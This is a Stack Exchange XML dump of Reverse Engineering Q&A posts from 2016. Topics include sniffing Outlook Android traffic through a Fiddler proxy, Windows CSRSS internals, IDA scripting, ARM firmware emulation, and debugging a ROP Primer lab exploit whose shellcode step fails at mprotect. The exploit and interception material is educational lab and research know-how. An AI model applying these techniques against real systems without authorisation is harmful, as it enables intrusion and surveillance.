  <row Id="13508" PostTypeId="1" CreationDate="2016-09-15T04:12:24.253" Score="2" ViewCount="3082" Body="&lt;p&gt;I have been trying to get the traffic of the Outlook email app for Android to show up in my Fiddler for months with no success. Although some traffic from the app does show in Fiddler, but not all. For example when I send a message I see the following POST request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST https://mobile.pipe.aria.microsoft.com/Collector/3.0/ HTTP/1.1&#xA;x-apikey: MYAPIKEY&#xA;Content-Type: application/bond-compact-binary&#xA;Client-Id: JavaLibrary&#xA;sdk-version: ACT-Android-Java-no-2.0.7.0-ECS&#xA;User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; Nexus 4 Build/LMY48T)&#xA;Host: mobile.pipe.aria.microsoft.com&#xA;Connection: Keep-Alive&#xA;Accept-Encoding: gzip&#xA;Content-Length: 1943&#xA;&#xA;K  f ՝ 2 w  2h  EP^      ^K+&#xA;Iact_default_source $4f9c4caf-b12c-46b6-8d69-160f4ed5ea7d   ۿ U   &#xA;)$3c249ec9-dc4e-4c1a-8a94-0828b6d0d9deq  ۿ U custom send_message &#xA;        EventInfo.Sourceact_default_sourceDeviceInfo.OsName AndroidCustom.first_launch_date&#xA;2016-09-14Custom.correlation_id43c97824f9e48f50EventInfo.Sequence138AppInfo.Languageen-USDeviceInfo.OsBuild 2237560DeviceInfo.NetworkCost UnknownUserInfo.Languageen-USUserInfo.TimeZone-04:00Custom.OutlookOAuth1Custom.MsDrive1EventInfo.Time2016-09-15T03:54:41.704ZAppInfo.Version2.1.65    Custom.ci&#xA;1x0RPaHRLoDeviceInfo.MakeLGEDeviceInfo.Model Nexus 4&#xA;DeviceInfo.Id43c97824f9e48f50&#xA;Session.Id$3722b64a-0582-4709-9e14-230036b55856DeviceInfo.SDKUid$60a51498-07e5-4d46-92b4-574023226050&#xA;eventpriorityNormalEventInfo.InitId$79f1ffb3-fa19-4f5d-b88b-714b862e0cadEventInfo.SdkVersionACT-Android-Java-no-2.0.7.0-ECSEventInfo.Namesend_messageDeviceInfo.OsVersion5.1.1DeviceInfo.NetworkTypeWifiCustom.has_attachment0   &#xA;  )$79e9da80-8d9c-4a35-85c9-e0baec49e4a5q  ۿ U custom feature_flags_test &#xA;        EventInfo.Sourceact_default_sourceDeviceInfo.OsName AndroidCustom.first_launch_date&#xA;2016-09-14Custom.correlation_id43c97824f9e48f50EventInfo.Sequence139AppInfo.Languageen-USDeviceInfo.OsBuild 2237560DeviceInfo.NetworkCost UnknownUserInfo.Languageen-USCustom.feature_enabledyesUserInfo.TimeZone-04:00Custom.OutlookOAuth1Custom.MsDrive1EventInfo.Time2016-09-15T03:54:41.761ZAppInfo.Version2.1.65 Custom.ci&#xA;1x0RPaHRLoDeviceInfo.MakeLGEDeviceInfo.Model Nexus 4&#xA;DeviceInfo.Id43c97824f9e48f50&#xA;Session.Id$3722b64a-0582-4709-9e14-230036b55856DeviceInfo.SDKUid$60a51498-07e5-4d46-92b4-574023226050&#xA;eventpriorityNormalEventInfo.InitId$79f1ffb3-fa19-4f5d-b88b-714b862e0cadEventInfo.SdkVersionACT-Android-Java-no-2.0.7.0-ECSEventInfo.Namefeature_flags_testDeviceInfo.OsVersion5.1.1DeviceInfo.NetworkTypeWifi     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I do not see the text of the email in Fiddler. I don't think they are using SSL Pinning. From what I have seen apps that use SSL Pinning any attempt for man-in-the-middle attack would cause errors on the app. I am not getting any errors on the app and the email does get delivered. But I can not capture any traffic related to the email sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can capture all the traffic for the Outlook Android app?&lt;/p&gt;&#xA;" OwnerUserId="16976" LastActivityDate="2017-12-09T18:28:47.263" Title="Sniffing traffic of Outlook android app" Tags="|android|sniffing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="1" AcceptedAnswerId="13511" CreationDate="2016-09-15T05:52:21.830" Score="2" ViewCount="329" Body="&lt;p&gt;I looked up the source code of the functions like &lt;code&gt;CreateProcess&lt;/code&gt; and &lt;code&gt;CreateThreade&lt;/code&gt; from &lt;code&gt;kernel32&lt;/code&gt;. For example, &lt;code&gt;CreateThread@kernel32&lt;/code&gt; leads into &lt;code&gt;kernelbase.dll&lt;/code&gt; and ends with a call to &lt;code&gt;NtCreateThreadEx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot see any calls to &lt;code&gt;CsrClientCallServer&lt;/code&gt; in that function, There are only few checks and a call to &lt;code&gt;RtlActivateActivationContextEx&lt;/code&gt;. I wonder if those calls are necessary for a process to function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked up in the &lt;code&gt;ntdll&lt;/code&gt; there is no function with the name &lt;code&gt;CsrClientCallServer&lt;/code&gt;. However there are functions like &lt;code&gt;NtConnectPort&lt;/code&gt; and so on, to use the &lt;strong&gt;LPC&lt;/strong&gt; mechanism. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume &lt;code&gt;CsrClientCallServer&lt;/code&gt; was built on top of the functions like &lt;code&gt;NtConnectPort&lt;/code&gt;, &lt;code&gt;NtReplyPort&lt;/code&gt; with some specific parameters.&#xA;My question is: &lt;strong&gt;is it necessary to notify csrss about the created thread from user mode?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is unclear to me from wininternals and other books should this be done or not, for the thread of the existing process. I tried to create the thread using old &lt;code&gt;NtCreateThread&lt;/code&gt; on win10 and it works fine, without any notifications via LPC But will the same code work on xp for example?&lt;/p&gt;&#xA;" OwnerUserId="17455" LastEditorUserId="2147" LastEditDate="2016-09-15T10:35:47.667" LastActivityDate="2016-09-15T11:01:36.790" Title="Changes on threads and threading system, in new Windows OS" Tags="|ida|winapi|thread|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="2" ParentId="13501" CreationDate="2016-09-15T07:29:15.480" Score="2" Body="&lt;p&gt;Click on the &lt;code&gt;0xAC&lt;/code&gt;, then type &lt;kbd&gt;t&lt;/kbd&gt; (or right click &amp;rarr; Structure Offset). Choose the &lt;strong&gt;Foo&lt;/strong&gt; structure and click &quot;OK&quot;.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2016-09-15T07:29:15.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13511" PostTypeId="2" ParentId="13509" CreationDate="2016-09-15T11:01:36.790" Score="1" Body="&lt;p&gt;No. It is not &lt;em&gt;necessary&lt;/em&gt; to create a connection with the &lt;code&gt;CSRSS&lt;/code&gt; service in order for a process to function. The &lt;code&gt;CSRSS&lt;/code&gt; server provides a few functionalities that are not needed for most processes, and therefore can be ignored unless it is requried in that specific process for any reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since NT4, the main functionalities of &lt;code&gt;CSRSS&lt;/code&gt; remained mostly the Windows Console GUI and other GUI related services Windows provides to GUI applications. If your process does not require those services it can silently ignore the existance of &lt;code&gt;CSRSS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm aware of it independently, this is also stated in &lt;a href=&quot;https://en.wikipedia.org/wiki/Client/Server_Runtime_Subsystem&quot; rel=&quot;nofollow&quot;&gt;wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Client/Server Runtime Subsystem, or csrss.exe, is a component of the Windows NT family of operating systems that provides the user mode side of the Win32 subsystem and is included in Windows NT 4 and later. Because most of the Win32 subsystem operations have been moved to kernel mode drivers in Windows NT 4 and later, CSRSS is mainly responsible for Win32 console handling and GUI shutdown.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additonally, there's a &lt;a href=&quot;http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-005.pdf&quot; rel=&quot;nofollow&quot;&gt;decent&lt;/a&gt; (see page 38) &lt;a href=&quot;http://j00ru.vexillium.org/?p=502&quot; rel=&quot;nofollow&quot;&gt;amount&lt;/a&gt; &lt;a href=&quot;https://doxygen.reactos.org/dir_289a3749994be3fa0fe2c6a8f7d01078.html&quot; rel=&quot;nofollow&quot;&gt;of&lt;/a&gt; &lt;a href=&quot;https://technet.microsoft.com/en-us/library/cc750820.aspx#XSLTsection124121120120&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; &lt;a href=&quot;https://technet.microsoft.com/en-us/magazine/2007.03.vistakernel.aspx&quot; rel=&quot;nofollow&quot;&gt;about&lt;/a&gt; &lt;a href=&quot;http://j00ru.vexillium.org/?p=2197&quot; rel=&quot;nofollow&quot;&gt;CSRSS&lt;/a&gt; &lt;a href=&quot;http://www.reactos.org/forum/viewtopic.php?p=102718&amp;amp;sid=801ce2a73d8c5d6e4a6aa37c4ccaf670&quot; rel=&quot;nofollow&quot;&gt;online&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-15T11:01:36.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13512" PostTypeId="1" CreationDate="2016-09-15T21:34:23.803" Score="1" ViewCount="444" Body="&lt;p&gt;I'm running Linux Mint , and I try to use the linux Hopper to debug a windows exe .&#xA;Does anyone knows a way to debug in Hopper the applications that runs uder wine ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example like : winedbg --gdb /home/v/Documents/putty.exe&lt;/p&gt;&#xA;" OwnerUserId="17461" LastActivityDate="2016-09-15T21:34:23.803" Title="How to use Hopper to debug wine apps" Tags="|debugging|decompilation|wine|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13513" PostTypeId="1" AcceptedAnswerId="13567" CreationDate="2016-09-16T08:40:05.770" Score="2" ViewCount="1486" Body="&lt;p&gt;I'm not asking for a decompiler, as I'm aware that it does not produce accurate results all the time. I've tried Googling but all I found were decompilers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found it extremely inefficient to be continuously referring to the instruction set manual to find out what various uncommon instructions do. Furthermore I deal only infrequently with assembly and I found I have to continuously make a conscious effort to interpret the mnemonic syntax, which slows things down tremendously.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Requirement&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A per-line translation of the assembly instructions. As a very simple example, replacing &lt;code&gt;add eax, ebx&lt;/code&gt; with &lt;code&gt;eax += ebx&lt;/code&gt; in the disassembly view, or just commenting the instruction with the pseudocode. Be it replacement or commenting, having the pseudocode inline would help to preserve the graph view and other convenient functionalities provided by IDA.&lt;/p&gt;&#xA;" OwnerUserId="17466" LastActivityDate="2019-11-15T07:20:59.603" Title="Are there IDA scripts/plugins to translate/comment instructions to/with pseudocode?" Tags="|ida|disassembly|decompiler|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13514" PostTypeId="1" CreationDate="2016-09-16T16:07:55.167" Score="1" ViewCount="118" Body="&lt;p&gt;Are there any user-mode record-replay tools for Windows that can capture native execution of a program so that it can be replayed deterministically later? Instructions, memory accesses, syscalls and so on. I tried PinPlay but the overhead was too much.&lt;/p&gt;&#xA;" OwnerUserId="17236" LastActivityDate="2016-09-16T16:07:55.167" Title="Record-replay tools for Windows?" Tags="|windows|binary-analysis|x86|tools|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13515" PostTypeId="2" ParentId="13513" CreationDate="2016-09-16T17:53:33.163" Score="6" Body="&lt;p&gt;You can enable the &lt;code&gt;auto-comment&lt;/code&gt; option in IDA, to have something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U3Aak.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3Aak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or also give a try to &lt;a href=&quot;http://derevenets.com/&quot; rel=&quot;noreferrer&quot;&gt;snowman&lt;/a&gt;, a free decompiler for IDA Pro, that is able to transform this compiled program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;        printf(&quot;Hello, World!\n&quot;);&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64_t main() {&#xA;    puts(&quot;Hello, World!&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-09-16T17:53:33.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="1" CreationDate="2016-09-17T10:51:31.253" Score="4" ViewCount="1209" Body="&lt;p&gt;I am following the &lt;a href=&quot;https://g0blin.co.uk/rop-primer-0-2-vulnhub-writeup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; for &lt;a href=&quot;https://www.vulnhub.com/entry/rop-primer-02,114/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ROP Primer&lt;/a&gt;, level 0.&#xA;The tutorial sets the memory at the beginning of &lt;code&gt;[vdso]&lt;/code&gt; writeable and executable and copies the shellcode there.&lt;/p&gt;&#xA;&lt;p&gt;I do not know why, but it seems that &lt;code&gt;mprotect&lt;/code&gt; fails for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(python exp.py; cat) | strace ./level0&#xA;...&#xA;mprotect(0xb7fff000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC) = -1 ENOMEM (Cannot allocate memory)&#xA;--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa7fff804} ---&#xA;+++ killed by SIGSEGV +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I changed the target address to &lt;code&gt;0x8048000&lt;/code&gt; (got with &lt;code&gt;vmmap&lt;/code&gt; in gdb-peda).&#xA;Now &lt;code&gt;mprotect&lt;/code&gt; does not return &lt;code&gt;-1&lt;/code&gt;, but I still receive SIGSEGV:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(pyhton exp.py; cat) | strace ./level0&#xA;...&#xA;mprotect(0x8048000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC) = 0&#xA;--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x88048804} ---&#xA;+++ killed by SIGSEGV +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have examined memory addresses, the single difference from the tutorial was that the shellcode ended up at &lt;code&gt;0xbfff764&lt;/code&gt; instead of &lt;code&gt;0xbfff754&lt;/code&gt;, and I adjusted the python script accordingly.&lt;/p&gt;&#xA;&lt;p&gt;I do not understand why I am getting these errors, especially because I am using a downloaded virtual machine. How can I get the shellcode run?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I do not know if it has anything to do with the problem, but if I set a target address for &lt;code&gt;mprotect&lt;/code&gt; (and later I expect &lt;code&gt;eip&lt;/code&gt; to point there too) to an address that is outside from the mapped address space (according to &lt;code&gt;gdb&lt;/code&gt;), &lt;code&gt;si_addr&lt;/code&gt; in the above error message will contain this address. But if the address belongs to the program's address space, &lt;code&gt;si_addr&lt;/code&gt; will be different (and probably invalid), like above.&lt;/p&gt;&#xA;&lt;p&gt;And if I execute it in &lt;code&gt;gdb&lt;/code&gt; the region is set properly executable, and even the shellcode is executed.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="26826" LastEditDate="2021-11-07T10:02:55.023" LastActivityDate="2021-12-09T10:02:15.300" Title="Finding a place to inject shellcode" Tags="|linux|exploit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13517" PostTypeId="2" ParentId="12082" CreationDate="2016-09-17T11:41:01.717" Score="1" Body="&lt;p&gt;This function initializes an global object, if it's not already initialized, and returns it to the caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that object has an array of a structure, and that structure describes what you consider actions the player can take.&#xA;It looks like part of the initialization is setting a callable function to each structure instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the few things i think you can do next:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Understand those functions initialized with each action structure. I would recommend you set a breakpoint on each of those functions and see that it's actually triggered once the player performs that action, to validate that function is indeed involved in the action.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find all references to the object's range of addresses and understand the usage of that object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ditch those strings (as they're usually not easily related to the actions themselves in games) and instead follow key presses, like explained in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/13350/2147&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8762/finding-a-certain-function-in-gamets4/11133#11133&quot;&gt;This question&lt;/a&gt; could also be useful.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-09-17T11:41:01.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="2" ParentId="13516" CreationDate="2016-09-17T11:52:38.100" Score="1" Body="&lt;p&gt;Like any development process, bugs can be quite common and understanding them might not be so easy. That's why god created debugging. You should run your exercise program under a debugger and follow through the exploitation process in order to find out what and where things go sideways.&lt;/p&gt;&#xA;&lt;p&gt;Without any additional information it's quite hard to guess what's the issue there. I suggest you post your conclusions of debugging the exploit and we can further answer your question.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2021-11-09T09:31:25.143" LastActivityDate="2021-11-09T09:31:25.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13519" PostTypeId="2" ParentId="12053" CreationDate="2016-09-17T15:02:57.023" Score="6" Body="&lt;p&gt;While the API may be cumbersome, most of the information you are looking for is &amp;quot;readily&amp;quot; available from IDA during static analysis. Some of it is somewhat generic, while other pieces require different handling per processor type.&lt;/p&gt;&#xA;&lt;p&gt;To check if an operand performs read or write access to memory, you can use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idautils&#xA;import idc&#xA;&#xA;OPND_WRITE_FLAGS = {&#xA;    0: idaapi.CF_CHG1,&#xA;    1: idaapi.CF_CHG2,&#xA;    2: idaapi.CF_CHG3,&#xA;    3: idaapi.CF_CHG4,&#xA;    4: idaapi.CF_CHG5,&#xA;    5: idaapi.CF_CHG6,&#xA;}&#xA;&#xA;OPND_READ_FLAGS = {&#xA;    0: idaapi.CF_USE1,&#xA;    1: idaapi.CF_USE2,&#xA;    2: idaapi.CF_USE3,&#xA;    3: idaapi.CF_USE4,&#xA;    4: idaapi.CF_USE5,&#xA;    5: idaapi.CF_USE6,&#xA;}&#xA;&#xA;def print_insn_mem_interaction(ea):&#xA;    insn = idautils.DecodeInstruction(ea)&#xA;&#xA;    # The features are needed for operand flags.&#xA;    feature = insn.get_canon_feature()&#xA;&#xA;    for op in insn.ops:&#xA;        # You always get 6 operands. Some of them are set to `o_void` to indicate&#xA;        # that they are not used.&#xA;        if op.type == idaapi.o_void:&#xA;            break&#xA;&#xA;        # There are 3 types of memory references in IDA. We want all 3.&#xA;        is_mem = op.type in (idaapi.o_mem, idaapi.o_phrase, idaapi.o_displ)&#xA;&#xA;        # Extract per-operand read/write status from the feature.&#xA;        is_write = feature &amp;amp; OPND_WRITE_FLAGS[op.n]&#xA;        is_read = feature &amp;amp; OPND_READ_FLAGS[op.n]&#xA;&#xA;        if not is_mem:&#xA;            # Operand does not access memory.&#xA;            continue&#xA;&#xA;        # Ugly line for the display. Sorry.&#xA;        action = 'memory {}'.format('/'.join(filter(bool, ('read' if is_read else None, 'write' if is_write else None))))&#xA;&#xA;        print(f&amp;quot;Operand[{op.n}]&amp;lt;{idc.print_operand(ea, op.n)}&amp;gt; : {action}&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Telling the addresses accessed, though, is a different story.&lt;/p&gt;&#xA;&lt;p&gt;The parsing of &lt;code&gt;o_displ&lt;/code&gt; and &lt;code&gt;o_phrase&lt;/code&gt; operands is processor-type specific, and is completely undocumented (actually, the docs say &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/classop__t.html#afb5775d8aaa7bcefcb17d51c0b298135&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;do as you like&amp;quot;&lt;/a&gt;).&#xA;If you are interested in a working parser for x86 and x64, you can check my code &lt;a href=&quot;https://github.com/tmr232/Sark/blob/784ab9cd57fdf9dc140e4dcaef3963d9a83df263/sark/code/instruction.py#L28&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you need to work with any other architecture, I'd recommend using a more script-friendly disassembler. &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; is probably a good choice on that matter.&lt;/p&gt;&#xA;&lt;p&gt;And finally, if you need the actual addresses, you will probably have to turn to  dynamic analysis.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2022-05-12T11:50:33.137" LastActivityDate="2022-05-12T11:50:33.137" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13520" PostTypeId="1" AcceptedAnswerId="13529" CreationDate="2016-09-17T15:17:23.460" Score="2" ViewCount="1220" Body="&lt;p&gt;I have a binary firmware image with a routine that I find hard to understand.&#xA;I want to step through this encryption routine step by step so I can better understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to obtain all the data from the memory of the device: &#xA;the firmware, the option banks, the RAM which includes the data to be encrypted, etc.. and  all in raw bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the location of the encryption subroutine and want to start stepping through the program at that point. I've analyzed the firmware as far as possible in IDA PRO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device has an ARM Cortex-M3, which uses the ARMv7-M instruction set. Here is the&lt;br&gt;&#xA;&lt;a href=&quot;http://www.st.com/content/ccc/resource/technical/document/datasheet/58/e3/b5/60/88/c8/4b/1b/DM00034689.pdf/files/DM00034689.pdf/jcr:content/translations/en.DM00034689.pdf&quot; rel=&quot;nofollow&quot;&gt;data sheet&lt;/a&gt;&#xA; of the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a good approach to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;  -  sep 19 '16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose to emulate just the code snippet. However I'm slightly clueless what &quot;configuration&quot; to choose (configuring QEMU: step 5). The information that comes up when googling for the &quot;Versatile&quot; or the &quot;Integrator&quot; board doesn't make it more clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I determine what configuration to choose?&lt;/p&gt;&#xA;" OwnerUserId="17479" LastEditorUserId="17479" LastEditDate="2016-09-25T21:11:23.573" LastActivityDate="2016-09-25T21:11:23.573" Title="Stepping through ARM firmware image" Tags="|ida|assembly|firmware|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13522" PostTypeId="1" CreationDate="2016-09-17T21:13:51.247" Score="5" ViewCount="226" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/206/17483&quot;&gt;This question&lt;/a&gt; includes a good list of sources where an individual might collect malware samples for analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to get a large number of public, non-malicious programs for the purpose of comparing various attributes to malware samples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have explored the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scraping executables from arbitrary websites with a bot.&lt;/strong&gt; Such a bot would be rather difficult to write, not to mention being unethical, and requiring strategies to deal with anti-bot measures such as CloudFlare.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using C:\Windows as a source.&lt;/strong&gt; I spent some time looking at some Windows files. They were abundant, but all seem to perform extremely specialized functions and I have doubts about how well they would represent legitimate programs in the real world&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Finding and downloading programs manually.&lt;/strong&gt; This would be extremely slow and tedious, and also ineffective to get large numbers of such programs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suppose what would be ideal for my situation is a sort of program dump, but I'm not aware of any that exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone unaffiliated with any organisation, is there an effective way of getting a large number of public normal programs for the purpose of comparing their features to a set of malicious programs?&lt;/p&gt;&#xA;" OwnerUserId="17483" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-09-20T15:25:42.443" Title="Where can I, as an individual, find clean programs to analyze?" Tags="|windows|malware|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13523" PostTypeId="2" ParentId="8743" CreationDate="2016-09-18T04:16:53.613" Score="0" Body="&lt;p&gt;In addition to the Alex Ionescu paper, there's also a useful 27-page paper, &lt;a href=&quot;http://www.reteam.org/papers/e46.pdf&quot; rel=&quot;nofollow&quot;&gt;VISUAL BASIC REVERSED - A decompiling approach&lt;/a&gt; by Andrea Geddon.&lt;/p&gt;&#xA;" OwnerUserId="17487" LastActivityDate="2016-09-18T04:16:53.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13524" PostTypeId="2" ParentId="13262" CreationDate="2016-09-18T06:36:04.563" Score="1" Body="&lt;p&gt;According to the main developer of Binwalk, &lt;a href=&quot;https://github.com/devttys0/binwalk/issues/215&quot; rel=&quot;nofollow&quot;&gt;you can't and this is not a feature they will implement anytime soon&lt;/a&gt;. From the link:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This isn't a binwalk related question, as binwalk does not re-build binary images. However, you might want to take a look at the firmware mod kit, which uses binwalk for extraction and can re-build many router firmware images automatically (it may even work on this particular firmware): &lt;a href=&quot;https://code.google.com/archive/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/archive/p/firmware-mod-kit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now unfortunately, &lt;em&gt;firmware-mod-kit&lt;/em&gt; hasn't been updated for a while, but is probably your closest bet. Otherwise, you may want to use the output of &lt;em&gt;binwalk&lt;/em&gt; and try to &quot;cut and paste&quot; original and modified sections of the firmware file using the &lt;a href=&quot;http://man7.org/linux/man-pages/man1/dd.1.html&quot; rel=&quot;nofollow&quot;&gt;dd&lt;/a&gt;. Note that this will likely work only with very simple firmware images, as anything with checksums and sections/file length will have to be modified manually. I was able to make it happen in very limited cases where the firmware was mostly a header with a file system appended to it.&lt;/p&gt;&#xA;" OwnerUserId="13780" LastActivityDate="2016-09-18T06:36:04.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13526" PostTypeId="1" CreationDate="2016-09-18T12:35:39.377" Score="2" ViewCount="12313" Body="&lt;p&gt;I didn't know That we've got a Reverse Engineering community around here :D&#xA;I am very glad on that....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway...&#xA;I haven't used IDA Pro for quite some time, upgraded to win 10 in the mean time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to launch debugging directly from IDA Pro. WinDbg is setup correctly, windbg attaches a process just fine on itself. WinDbg has been added to the PATH variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try to launch debugging from ida PRO,or attach I get the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Could not initialize WinDgbEngine (..) %1 is not a valid Win32 application&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideas? seems like something is wrong with parameters passing?&lt;/p&gt;&#xA;" OwnerUserId="17491" LastActivityDate="2021-09-09T07:59:20.990" Title="IDA PRO + Windows 10 + WinDbg" Tags="|ida|debugging|windbg|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
